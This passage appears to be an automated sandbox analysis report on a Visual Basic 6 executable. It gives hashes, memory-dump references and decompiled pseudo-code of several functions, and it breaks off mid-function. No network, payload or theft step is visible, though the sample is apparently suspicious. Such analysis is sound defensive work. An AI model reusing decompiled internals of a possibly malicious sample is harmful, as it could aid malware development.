Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresult$New2$#558Late
String ID: theatrelike
API String ID: 2936400604-1874956215
Opcode ID: 8490d9d8b1c5f89872b189ee0442a63aeb9c7d3367f7434c56b87e376824dcba
Instruction ID: b68530bd7e9e46a2c3921527dca841b27bb1bc1e04fab6afc52cfc8ec0db0b55
Opcode Fuzzy Hash: 8490d9d8b1c5f89872b189ee0442a63aeb9c7d3367f7434c56b87e376824dcba
Instruction Fuzzy Hash: BD91DF74D00208AFDB10EFE5C885BDDBBB5BF08308F20446AE511BB2A1DB799985DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00414E48, Relevance: 37.7, APIs: 25, Instructions: 244
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00414E48(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				char _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				void* _v64;
				intOrPtr* _v68;
				signed int _v72;
				intOrPtr* _v76;
				signed int _v80;
				intOrPtr* _v92;
				signed int _v96;
				intOrPtr* _v100;
				signed int _v104;
				intOrPtr* _v108;
				intOrPtr* _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr* _v124;
				signed int _v128;
				char* _t114;
				signed int _t117;
				char* _t121;
				signed int _t125;
				char* _t129;
				signed int _t133;
				short _t134;
				char* _t140;
				signed int _t144;
				char* _t145;
				signed int _t148;
				void* _t173;
				void* _t175;
				intOrPtr _t176;
				signed int _t181;

				_t176 = _t175 - 0xc;
				 *[fs:0x0] = _t176;
				L004014B0();
				_v16 = _t176;
				_v12 = 0x401278;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x68,  *[fs:0x0], 0x4014b6, _t173);
				if( *0x419010 != 0) {
					_v92 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v92 = 0x419010;
				}
				_t114 =  &_v40;
				L0040169C();
				_v68 = _t114;
				_t117 =  *((intOrPtr*)( *_v68 + 0x208))(_v68, _t114,  *((intOrPtr*)( *((intOrPtr*)( *_v92)) + 0x310))( *_v92));
				asm("fclex");
				_v72 = _t117;
				if(_v72 >= 0) {
					_v96 = _v96 & 0x00000000;
				} else {
					_push(0x208);
					_push(0x411498);
					_push(_v68);
					_push(_v72);
					L00401690();
					_v96 = _t117;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v100 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v100 = 0x419010;
				}
				_t121 =  &_v40;
				L0040169C();
				_v68 = _t121;
				_v52 = 0x80020004;
				_v60 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t125 =  *((intOrPtr*)( *_v68 + 0x12c))(_v68, 0x10, _t121,  *((intOrPtr*)( *((intOrPtr*)( *_v100)) + 0x34c))( *_v100));
				asm("fclex");
				_v72 = _t125;
				_t181 = _v72;
				if(_t181 >= 0) {
					_v104 = _v104 & 0x00000000;
				} else {
					_push(0x12c);
					_push(0x4114a8);
					_push(_v68);
					_push(_v72);
					L00401690();
					_v104 = _t125;
				}
				L0040168A();
				_push(0x4114bc);
				L004015D6();
				asm("fcomp qword [0x4011d0]");
				asm("fnstsw ax");
				asm("sahf");
				if(_t181 != 0) {
					if( *0x41931c != 0) {
						_v108 = 0x41931c;
					} else {
						_push(0x41931c);
						_push(0x41137c);
						L00401696();
						_v108 = 0x41931c;
					}
					_v76 =  *_v108;
					if( *0x419010 != 0) {
						_v112 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v112 = 0x419010;
					}
					_t140 =  &_v40;
					L0040169C();
					_v68 = _t140;
					_t144 =  *((intOrPtr*)( *_v68 + 0x48))(_v68,  &_v36, _t140,  *((intOrPtr*)( *((intOrPtr*)( *_v112)) + 0x328))( *_v112));
					asm("fclex");
					_v72 = _t144;
					if(_v72 >= 0) {
						_v116 = _v116 & 0x00000000;
					} else {
						_push(0x48);
						_push(0x4113cc);
						_push(_v68);
						_push(_v72);
						L00401690();
						_v116 = _t144;
					}
					L004015D0();
					_t145 =  &_v44;
					L0040169C();
					_t148 =  *((intOrPtr*)( *_v76 + 0x40))(_v76, _t145, _t145, _t144, _v32, 0x4114c0, _v36);
					asm("fclex");
					_v80 = _t148;
					if(_v80 >= 0) {
						_v120 = _v120 & 0x00000000;
					} else {
						_push(0x40);
						_push(0x41136c);
						_push(_v76);
						_push(_v80);
						L00401690();
						_v120 = _t148;
					}
					L0040165A();
					_push( &_v44);
					_push( &_v40);
					_push(2);
					L00401654();
				}
				if( *0x419010 != 0) {
					_v124 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v124 = 0x419010;
				}
				_t129 =  &_v40;
				L0040169C();
				_v68 = _t129;
				_t133 =  *((intOrPtr*)( *_v68 + 0x88))(_v68,  &_v64, _t129,  *((intOrPtr*)( *((intOrPtr*)( *_v124)) + 0x34c))( *_v124));
				asm("fclex");
				_v72 = _t133;
				if(_v72 >= 0) {
					_v128 = _v128 & 0x00000000;
				} else {
					_push(0x88);
					_push(0x4114a8);
					_push(_v68);
					_push(_v72);
					L00401690();
					_v128 = _t133;
				}
				_t134 = _v64;
				_v28 = _t134;
				L0040168A();
				asm("wait");
				_push(0x4151a0);
				L0040168A();
				return _t134;
			}

0x00414e4b
0x00414e5a
0x00414e64
0x00414e6c
0x00414e6f
0x00414e76
0x00414e85
0x00414e8f
0x00414ea9
0x00414e91
0x00414e91
0x00414e96
0x00414e9b
0x00414ea0
0x00414ea0
0x00414ec4
0x00414ec8
0x00414ecd
0x00414ed8
0x00414ede
0x00414ee0
0x00414ee7
0x00414f03
0x00414ee9
0x00414ee9
0x00414eee
0x00414ef3
0x00414ef6
0x00414ef9
0x00414efe
0x00414efe
0x00414f0a
0x00414f16
0x00414f30
0x00414f18
0x00414f18
0x00414f1d
0x00414f22
0x00414f27
0x00414f27
0x00414f4b
0x00414f4f
0x00414f54
0x00414f57
0x00414f5e
0x00414f68
0x00414f72
0x00414f73
0x00414f74
0x00414f75
0x00414f7e
0x00414f84
0x00414f86
0x00414f89
0x00414f8d
0x00414fa9
0x00414f8f
0x00414f8f
0x00414f94
0x00414f99
0x00414f9c
0x00414f9f
0x00414fa4
0x00414fa4
0x00414fb0
0x00414fb5
0x00414fba
0x00414fbf
0x00414fc5
0x00414fc7
0x00414fc8
0x00414fd5
0x00414fef
0x00414fd7
0x00414fd7
0x00414fdc
0x00414fe1
0x00414fe6
0x00414fe6
0x00414ffb
0x00415005
0x0041501f
0x00415007
0x00415007
0x0041500c
0x00415011
0x00415016
0x00415016
0x0041503a
0x0041503e
0x00415043
0x00415052
0x00415055
0x00415057
0x0041505e
0x00415077
0x00415060
0x00415060
0x00415062
0x00415067
0x0041506a
0x0041506d
0x00415072
0x00415072
0x00415086
0x0041508c
0x00415090
0x0041509e
0x004150a1
0x004150a3
0x004150aa
0x004150c3
0x004150ac
0x004150ac
0x004150ae
0x004150b3
0x004150b6
0x004150b9
0x004150be
0x004150be
0x004150ca
0x004150d2
0x004150d6
0x004150d7
0x004150d9
0x004150de
0x004150e8
0x00415102
0x004150ea
0x004150ea
0x004150ef
0x004150f4
0x004150f9
0x004150f9
0x0041511d
0x00415121
0x00415126
0x00415135
0x0041513b
0x0041513d
0x00415144
0x00415160
0x00415146
0x00415146
0x0041514b
0x00415150
0x00415153
0x00415156
0x0041515b
0x0041515b
0x00415164
0x00415168
0x0041516f
0x00415174
0x00415175
0x0041519a
0x0041519f

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00414E64
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00414E9B
__vbaObjSet.MSVBVM60(?,00000000), ref: 00414EC8
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411498,00000208), ref: 00414EF9
__vbaFreeObj.MSVBVM60(00000000,?,00411498,00000208), ref: 00414F0A
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00414F22
__vbaObjSet.MSVBVM60(?,00000000), ref: 00414F4F
__vbaChkstk.MSVBVM60(?,00000000), ref: 00414F68
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,0000012C), ref: 00414F9F
__vbaFreeObj.MSVBVM60(00000000,?,004114A8,0000012C), ref: 00414FB0
__vbaR8Str.MSVBVM60(004114BC), ref: 00414FBA
__vbaNew2.MSVBVM60(0041137C,0041931C,004114BC), ref: 00414FE1
__vbaNew2.MSVBVM60(0041192C,00419010,004114BC), ref: 00415011
__vbaObjSet.MSVBVM60(?,00000000,?,?,004114BC), ref: 0041503E
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,00000048,?,?,004114BC), ref: 0041506D
__vbaCastObj.MSVBVM60(?,004114C0,?,?,?,004114BC), ref: 00415086
__vbaObjSet.MSVBVM60(?,00000000,?,004114C0,?,?,?,004114BC), ref: 00415090
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000040,?,?,004114BC), ref: 004150B9
__vbaFreeStr.MSVBVM60(?,?,?,?,004114BC), ref: 004150CA
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,?,?,004114BC), ref: 004150D9
__vbaNew2.MSVBVM60(0041192C,00419010,004114BC), ref: 004150F4
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,004114BC), ref: 00415121
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,00000088,?,?,?,?,?,004114BC), ref: 00415156
__vbaFreeObj.MSVBVM60(?,?,?,?,?,004114BC), ref: 0041516F
__vbaFreeObj.MSVBVM60(004151A0,?,?,?,?,?,004114BC), ref: 0041519A

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresultNew2$Chkstk$CastList
String ID:
API String ID: 2710452558-0
Opcode ID: ed9300c562757c7534a959cc25a59269b19ceb1cb19c7ad9942c873725ba74c7
Instruction ID: 3ae174b4ebf5dfbf5d39602a5854acd05c66858fc9ed8c7378c081d1f36400af
Opcode Fuzzy Hash: ed9300c562757c7534a959cc25a59269b19ceb1cb19c7ad9942c873725ba74c7
Instruction Fuzzy Hash: 0DA1D474900208EFCB10EFE1C859BDDBBB9BF08704F24446AE505BB2A1CB796985DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00414B75, Relevance: 36.9, APIs: 20, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00414B75(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				char _v56;
				intOrPtr _v64;
				char _v72;
				signed int _v76;
				signed int _v80;
				char _v92;
				signed int _v96;
				intOrPtr* _v100;
				signed int _v104;
				intOrPtr* _v108;
				signed int _v112;
				void* _t71;
				signed int _t75;
				signed int _t79;
				signed int _t83;
				signed int _t87;
				char* _t88;
				char* _t90;
				signed int _t93;
				char* _t95;
				void* _t110;
				void* _t112;
				intOrPtr* _t113;
				signed long long _t126;

				_t113 = _t112 - 0xc;
				 *[fs:0x0] = _t113;
				L004014B0();
				_v16 = _t113;
				_v12 = 0x401268;
				_v8 = 0;
				_t71 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x58,  *[fs:0x0], 0x4014b6, _t110);
				_t95 =  &_v28;
				L00401684();
				L004015DC();
				L004015E2();
				asm("fcomp qword [0x401258]");
				asm("fnstsw ax");
				asm("sahf");
				if(__eflags != 0) {
					_push(_t95);
					 *_t113 =  *0x401250;
					_t126 =  *0x401248 *  *0x4011d8;
					if( *0x419000 != 0) {
						_push( *0x4011d4);
						_push( *0x4011d0);
						L004014D4();
					} else {
						_t126 = _t126 /  *0x4011d0;
					}
					_v92 = _t126;
					_v56 = _v92;
					 *_t113 =  *0x401240;
					L00401612();
					 *_t113 =  *0x401230;
					_v72 =  *0x40122c;
					_v76 =  *0x401228;
					_t93 =  *((intOrPtr*)( *_a4 + 0x2c0))(_a4, 0x1c2, _t95, _t95, _t95, _t71, _t95, _t95);
					asm("fclex");
					_v76 = _t93;
					if(_v76 >= 0) {
						_t19 =  &_v96;
						 *_t19 = _v96 & 0x00000000;
						__eflags =  *_t19;
					} else {
						_push(0x2c0);
						_push(0x410d2c);
						_push(_a4);
						_push(_v76);
						L00401690();
						_v96 = _t93;
					}
				}
				if( *0x419010 != 0) {
					_v100 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v100 = 0x419010;
				}
				_t75 =  &_v36;
				L0040169C();
				_v76 = _t75;
				_v64 = 0x80020004;
				_v72 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t79 =  *((intOrPtr*)( *_v76 + 0x1ec))(_v76, L"Spherulitize", 0x10, _t75,  *((intOrPtr*)( *((intOrPtr*)( *_v100)) + 0x32c))( *_v100));
				asm("fclex");
				_v80 = _t79;
				if(_v80 >= 0) {
					_t39 =  &_v104;
					 *_t39 = _v104 & 0x00000000;
					__eflags =  *_t39;
				} else {
					_push(0x1ec);
					_push(0x4113f0);
					_push(_v76);
					_push(_v80);
					L00401690();
					_v104 = _t79;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v108 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v108 = 0x419010;
				}
				_t83 =  &_v36;
				L0040169C();
				_v76 = _t83;
				_t87 =  *((intOrPtr*)( *_v76 + 0x160))(_v76,  &_v40, _t83,  *((intOrPtr*)( *((intOrPtr*)( *_v108)) + 0x314))( *_v108));
				asm("fclex");
				_v80 = _t87;
				if(_v80 >= 0) {
					_t58 =  &_v112;
					 *_t58 = _v112 & 0x00000000;
					__eflags =  *_t58;
				} else {
					_push(0x160);
					_push(0x4113cc);
					_push(_v76);
					_push(_v80);
					L00401690();
					_v112 = _t87;
				}
				_push(0);
				_push(0);
				_push(_v40);
				_t88 =  &_v56;
				_push(_t88);
				L00401618();
				_push(_t88);
				L0040160C();
				_v32 = _t88;
				_push( &_v40);
				_t90 =  &_v36;
				_push(_t90);
				_push(2);
				L00401654();
				L00401636();
				asm("wait");
				_push(0x414e21);
				L0040165A();
				return _t90;
			}

0x00414b78
0x00414b87
0x00414b91
0x00414b99
0x00414b9c
0x00414ba3
0x00414bb2
0x00414bb8
0x00414bbb
0x00414bc6
0x00414bcb
0x00414bd0
0x00414bd6
0x00414bd8
0x00414bd9
0x00414be5
0x00414be6
0x00414bef
0x00414bfc
0x00414c06
0x00414c0c
0x00414c12
0x00414bfe
0x00414bfe
0x00414bfe
0x00414c17
0x00414c1e
0x00414c28
0x00414c31
0x00414c3e
0x00414c48
0x00414c52
0x00414c62
0x00414c68
0x00414c6a
0x00414c71
0x00414c8d
0x00414c8d
0x00414c8d
0x00414c73
0x00414c73
0x00414c78
0x00414c7d
0x00414c80
0x00414c83
0x00414c88
0x00414c88
0x00414c71
0x00414c98
0x00414cb2
0x00414c9a
0x00414c9a
0x00414c9f
0x00414ca4
0x00414ca9
0x00414ca9
0x00414ccd
0x00414cd1
0x00414cd6
0x00414cd9
0x00414ce0
0x00414cea
0x00414cf4
0x00414cf5
0x00414cf6
0x00414cf7
0x00414d05
0x00414d0b
0x00414d0d
0x00414d14
0x00414d30
0x00414d30
0x00414d30
0x00414d16
0x00414d16
0x00414d1b
0x00414d20
0x00414d23
0x00414d26
0x00414d2b
0x00414d2b
0x00414d37
0x00414d43
0x00414d5d
0x00414d45
0x00414d45
0x00414d4a
0x00414d4f
0x00414d54
0x00414d54
0x00414d78
0x00414d7c
0x00414d81
0x00414d90
0x00414d96
0x00414d98
0x00414d9f
0x00414dbb
0x00414dbb
0x00414dbb
0x00414da1
0x00414da1
0x00414da6
0x00414dab
0x00414dae
0x00414db1
0x00414db6
0x00414db6
0x00414dbf
0x00414dc1
0x00414dc3
0x00414dc6
0x00414dc9
0x00414dca
0x00414dd2
0x00414dd3
0x00414dd8
0x00414dde
0x00414ddf
0x00414de2
0x00414de3
0x00414de5
0x00414df0
0x00414df5
0x00414df6
0x00414e1b
0x00414e20

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00414B91
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00414BBB
__vbaFPInt.MSVBVM60(?,?,?,?,004014B6), ref: 00414BC6
__vbaFpR8.MSVBVM60(?,?,?,?,004014B6), ref: 00414BCB
_adj_fdiv_m64.MSVBVM60(?,?,?,?,?,004014B6), ref: 00414C12
__vbaFpI4.MSVBVM60(?,?,?,?,?,?,?,004014B6), ref: 00414C31
__vbaHresultCheckObj.MSVBVM60(00000000,00401268,00410D2C,000002C0), ref: 00414C83
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00414CA4
__vbaObjSet.MSVBVM60(?,00000000), ref: 00414CD1
__vbaChkstk.MSVBVM60(?,00000000), ref: 00414CEA
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00414D26
__vbaFreeObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00414D37
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00414D4F
__vbaObjSet.MSVBVM60(?,00000000), ref: 00414D7C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,00000160), ref: 00414DB1
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00414DCA
__vbaI4Var.MSVBVM60(00000000,?,?,?,004014B6), ref: 00414DD3
__vbaFreeObjList.MSVBVM60(00000002,00000000,?,00000000,?,?,?,004014B6), ref: 00414DE5
__vbaFreeVar.MSVBVM60(?,?,00000000,?,?,?,004014B6), ref: 00414DF0
__vbaFreeStr.MSVBVM60(00414E21,?,?,00000000,?,?,?,004014B6), ref: 00414E1B

Strings

Spherulitize, xrefs: 00414CF8

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$ChkstkNew2$CallCopyLateList_adj_fdiv_m64
String ID: Spherulitize
API String ID: 506408821-3937725628
Opcode ID: c47ebe0bbf585329d83209a1b6ecfa0a2f87718d83d92669b1041ea01e563c71
Instruction ID: 19ba3a2dc2d76cb6fbd92c7b20773837c971a1ce2ed171fdf0699113bde905ed
Opcode Fuzzy Hash: c47ebe0bbf585329d83209a1b6ecfa0a2f87718d83d92669b1041ea01e563c71
Instruction Fuzzy Hash: 2D71F270900208EFCB00EFA1DD49BEDBBB9BF48704F14486AF541BB2A1C7795991DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00416828, Relevance: 34.7, APIs: 23, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00416828(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				intOrPtr _v56;
				void* _v60;
				signed int _v64;
				intOrPtr* _v68;
				signed int _v72;
				intOrPtr _v84;
				intOrPtr* _v88;
				signed int _v92;
				intOrPtr* _v96;
				signed int _v100;
				signed int _v104;
				intOrPtr* _v108;
				signed int _v112;
				signed int _v116;
				char* _t107;
				signed int _t110;
				signed int _t120;
				signed int _t125;
				signed int _t126;
				signed int _t132;
				signed int _t137;
				void* _t158;
				void* _t160;
				intOrPtr _t161;

				_t161 = _t160 - 0xc;
				 *[fs:0x0] = _t161;
				L004014B0();
				_v16 = _t161;
				_v12 = 0x401348;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x5c,  *[fs:0x0], 0x4014b6, _t158);
				L00401684();
				if( *0x419010 != 0) {
					_v88 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v88 = 0x419010;
				}
				_t107 =  &_v40;
				L0040169C();
				_v60 = _t107;
				_t110 =  *((intOrPtr*)( *_v60 + 0x1d8))(_v60, _t107,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x2fc))( *_v88));
				asm("fclex");
				_v64 = _t110;
				if(_v64 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x1d8);
					_push(0x411324);
					_push(_v60);
					_push(_v64);
					L00401690();
					_v92 = _t110;
				}
				L0040168A();
				_push(0x4115f8);
				L00401594();
				_push(_t110);
				L0040159A();
				L00401648();
				_push(_t110);
				_push(0x411424);
				L0040164E();
				asm("sbb eax, eax");
				_v60 =  ~( ~( ~_t110));
				L0040165A();
				if(_v60 != 0) {
					if( *0x41931c != 0) {
						_v96 = 0x41931c;
					} else {
						_push(0x41931c);
						_push(0x41137c);
						L00401696();
						_v96 = 0x41931c;
					}
					_v60 =  *_v96;
					_t132 =  *((intOrPtr*)( *_v60 + 0x4c))(_v60,  &_v40);
					asm("fclex");
					_v64 = _t132;
					if(_v64 >= 0) {
						_v100 = _v100 & 0x00000000;
					} else {
						_push(0x4c);
						_push(0x41136c);
						_push(_v60);
						_push(_v64);
						L00401690();
						_v100 = _t132;
					}
					_v68 = _v40;
					_v48 = 1;
					_v56 = 2;
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t137 =  *((intOrPtr*)( *_v68 + 0x2c))(_v68, 0x10);
					asm("fclex");
					_v72 = _t137;
					if(_v72 >= 0) {
						_v104 = _v104 & 0x00000000;
					} else {
						_push(0x2c);
						_push(0x411574);
						_push(_v68);
						_push(_v72);
						L00401690();
						_v104 = _t137;
					}
					L0040168A();
				}
				if( *0x41931c != 0) {
					_v108 = 0x41931c;
				} else {
					_push(0x41931c);
					_push(0x41137c);
					L00401696();
					_v108 = 0x41931c;
				}
				_v60 =  *_v108;
				_t120 =  *((intOrPtr*)( *_v60 + 0x14))(_v60,  &_v40);
				asm("fclex");
				_v64 = _t120;
				if(_v64 >= 0) {
					_v112 = _v112 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x41136c);
					_push(_v60);
					_push(_v64);
					L00401690();
					_v112 = _t120;
				}
				_v68 = _v40;
				_t125 =  *((intOrPtr*)( *_v68 + 0xd8))(_v68,  &_v36);
				asm("fclex");
				_v72 = _t125;
				if(_v72 >= 0) {
					_v116 = _v116 & 0x00000000;
				} else {
					_push(0xd8);
					_push(0x4114f4);
					_push(_v68);
					_push(_v72);
					L00401690();
					_v116 = _t125;
				}
				_t126 = _v36;
				_v84 = _t126;
				_v36 = _v36 & 0x00000000;
				L00401648();
				L0040168A();
				_push(0x416aee);
				L0040165A();
				L0040165A();
				return _t126;
			}

0x0041682b
0x0041683a
0x00416844
0x0041684c
0x0041684f
0x00416856
0x00416865
0x0041686e
0x0041687a
0x00416894
0x0041687c
0x0041687c
0x00416881
0x00416886
0x0041688b
0x0041688b
0x004168af
0x004168b3
0x004168b8
0x004168c3
0x004168c9
0x004168cb
0x004168d2
0x004168ee
0x004168d4
0x004168d4
0x004168d9
0x004168de
0x004168e1
0x004168e4
0x004168e9
0x004168e9
0x004168f5
0x004168fa
0x004168ff
0x00416904
0x00416905
0x0041690f
0x00416914
0x00416915
0x0041691a
0x00416921
0x00416927
0x0041692e
0x00416939
0x00416946
0x00416960
0x00416948
0x00416948
0x0041694d
0x00416952
0x00416957
0x00416957
0x0041696c
0x0041697b
0x0041697e
0x00416980
0x00416987
0x004169a0
0x00416989
0x00416989
0x0041698b
0x00416990
0x00416993
0x00416996
0x0041699b
0x0041699b
0x004169a7
0x004169aa
0x004169b1
0x004169bb
0x004169c5
0x004169c6
0x004169c7
0x004169c8
0x004169d1
0x004169d4
0x004169d6
0x004169dd
0x004169f6
0x004169df
0x004169df
0x004169e1
0x004169e6
0x004169e9
0x004169ec
0x004169f1
0x004169f1
0x004169fd
0x004169fd
0x00416a09
0x00416a23
0x00416a0b
0x00416a0b
0x00416a10
0x00416a15
0x00416a1a
0x00416a1a
0x00416a2f
0x00416a3e
0x00416a41
0x00416a43
0x00416a4a
0x00416a63
0x00416a4c
0x00416a4c
0x00416a4e
0x00416a53
0x00416a56
0x00416a59
0x00416a5e
0x00416a5e
0x00416a6a
0x00416a79
0x00416a7f
0x00416a81
0x00416a88
0x00416aa4
0x00416a8a
0x00416a8a
0x00416a8f
0x00416a94
0x00416a97
0x00416a9a
0x00416a9f
0x00416a9f
0x00416aa8
0x00416aab
0x00416aae
0x00416ab8
0x00416ac0
0x00416ac5
0x00416ae0
0x00416ae8
0x00416aed

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00416844
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041686E
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00416886
__vbaObjSet.MSVBVM60(?,00000000), ref: 004168B3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411324,000001D8), ref: 004168E4
__vbaFreeObj.MSVBVM60(00000000,?,00411324,000001D8), ref: 004168F5
__vbaI4Str.MSVBVM60(004115F8), ref: 004168FF
#537.MSVBVM60(00000000,004115F8), ref: 00416905
__vbaStrMove.MSVBVM60(00000000,004115F8), ref: 0041690F
__vbaStrCmp.MSVBVM60(00411424,00000000,00000000,004115F8), ref: 0041691A
__vbaFreeStr.MSVBVM60(00411424,00000000,00000000,004115F8), ref: 0041692E
__vbaNew2.MSVBVM60(0041137C,0041931C,00411424,00000000,00000000,004115F8), ref: 00416952
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,0000004C), ref: 00416996
__vbaChkstk.MSVBVM60(00000000,?,0041136C,0000004C), ref: 004169BB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411574,0000002C), ref: 004169EC
__vbaFreeObj.MSVBVM60(00000000,?,00411574,0000002C), ref: 004169FD
__vbaNew2.MSVBVM60(0041137C,0041931C,00411424,00000000,00000000,004115F8), ref: 00416A15
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014), ref: 00416A59
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,000000D8), ref: 00416A9A
__vbaStrMove.MSVBVM60(00000000,?,004114F4,000000D8), ref: 00416AB8
__vbaFreeObj.MSVBVM60(00000000,?,004114F4,000000D8), ref: 00416AC0
__vbaFreeStr.MSVBVM60(00416AEE), ref: 00416AE0
__vbaFreeStr.MSVBVM60(00416AEE), ref: 00416AE8

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$New2$ChkstkMove$#537Copy
String ID:
API String ID: 1605330434-0
Opcode ID: b9ca8c12bb26809517b50f20899a5f8d911ee3690253c7187dcb6454ad85d121
Instruction ID: 44ed79008a480ce5e5f9887151e99901900fb08a923c0ea508fc403212c3e8aa
Opcode Fuzzy Hash: b9ca8c12bb26809517b50f20899a5f8d911ee3690253c7187dcb6454ad85d121
Instruction Fuzzy Hash: 4E81B070D00208EFDB00EFA5D945BDDBBB5AF08708F20852AF501BB2A1DB799985DF58

Uniqueness

Uniqueness Score: -1.00%

Function 004160CA, Relevance: 34.7, APIs: 23, Instructions: 178
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E004160CA(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a28) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				void* _v28;
				char _v32;
				char _v36;
				char _v52;
				char _v68;
				char _v84;
				void* _v104;
				void* _v108;
				signed int _v112;
				intOrPtr* _v120;
				signed int _v124;
				intOrPtr* _v128;
				signed int _v132;
				intOrPtr* _v136;
				signed int _v140;
				char* _t81;
				signed int _t84;
				char* _t88;
				signed int _t91;
				char* _t94;
				short _t98;
				char* _t106;
				signed int _t110;
				short _t111;
				intOrPtr _t134;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t134;
				_push(0x78);
				L004014B0();
				_v12 = _t134;
				_v8 = 0x401310;
				L00401684();
				if( *0x419010 != 0) {
					_v120 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v120 = 0x419010;
				}
				_t81 =  &_v36;
				L0040169C();
				_v108 = _t81;
				_t84 =  *((intOrPtr*)( *_v108 + 0x22c))(_v108, _t81,  *((intOrPtr*)( *((intOrPtr*)( *_v120)) + 0x31c))( *_v120));
				asm("fclex");
				_v112 = _t84;
				if(_v112 >= 0) {
